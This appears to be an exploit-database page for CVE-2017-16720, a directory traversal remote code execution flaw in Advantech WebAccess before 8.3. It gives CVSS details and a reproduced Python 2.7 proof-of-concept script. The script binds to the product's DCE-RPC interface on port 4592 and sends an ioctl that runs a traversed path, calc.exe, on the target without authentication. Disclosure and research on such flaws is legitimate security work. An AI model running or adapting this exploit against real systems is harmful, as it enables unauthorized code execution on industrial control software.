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Advantech WebAccess < 8.3 Directory Traversal / Remote Code Execution

CVE	Category	Price	Severity
CVE-2017-16720	CWE-22	$10,000	High

Author	Risk	Exploitation Type	Date
LiquidWorm	High	Remote	2018-03-13

CVSS	EPSS	EPSSP
CVSS:7.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030106

Below is a copy:

Advantech WebAccess < 8.3 Directory Traversal / Remote Code Execution

#!/usr/bin/python2.7
  
# Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability
# Date: 03-11-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.advantech.com
# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
# Version: Advantech WebAccess 8.2-2017.08.18
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-16720
# See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
  dce.call(opcode, stubdata)
  res = -1
  try:
    res = dce.recv()
  except Exception, e:
    print "Exception encountered..." + str(e)
    sys.exit(1)
  return res

if len(sys.argv) != 2:
  print "Provide only host arg"
  sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0" 

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
  print "Something went wrong"
  sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
  print "Received unexpected length value"
  sys.exit(1)

print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\calc.exe"
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)

print "\nDid it work?"

dce.disconnect()

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